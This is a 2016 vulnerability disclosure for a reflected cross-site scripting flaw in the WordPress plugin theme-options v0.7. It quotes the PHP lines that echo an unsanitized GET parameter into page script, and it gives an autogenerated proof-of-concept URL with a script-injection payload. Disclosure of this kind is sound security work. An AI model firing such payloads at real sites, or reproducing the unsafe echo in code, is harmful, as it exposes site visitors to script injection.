Advisory #: 177
Title: Reflected XSS in wordpress plugin theme-options v0.7
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/theme-options
Downloads: 18056
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: theme-options
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./theme-options/snippets/Color_Management/inserter.php: 28: jQuery("input[name='<?php echo $_GET['item']; ?>']").attr("value", color_value); 32: jQuery("input[name='<?php echo $_GET['item']; ?>']").next().children().eq(0).css("background", color_value); The variable item appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./theme-options/snippets/Color_Management/inserter.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/theme-options/snippets/Color_Management/inserter.php?item="><script>alert(1);</script><"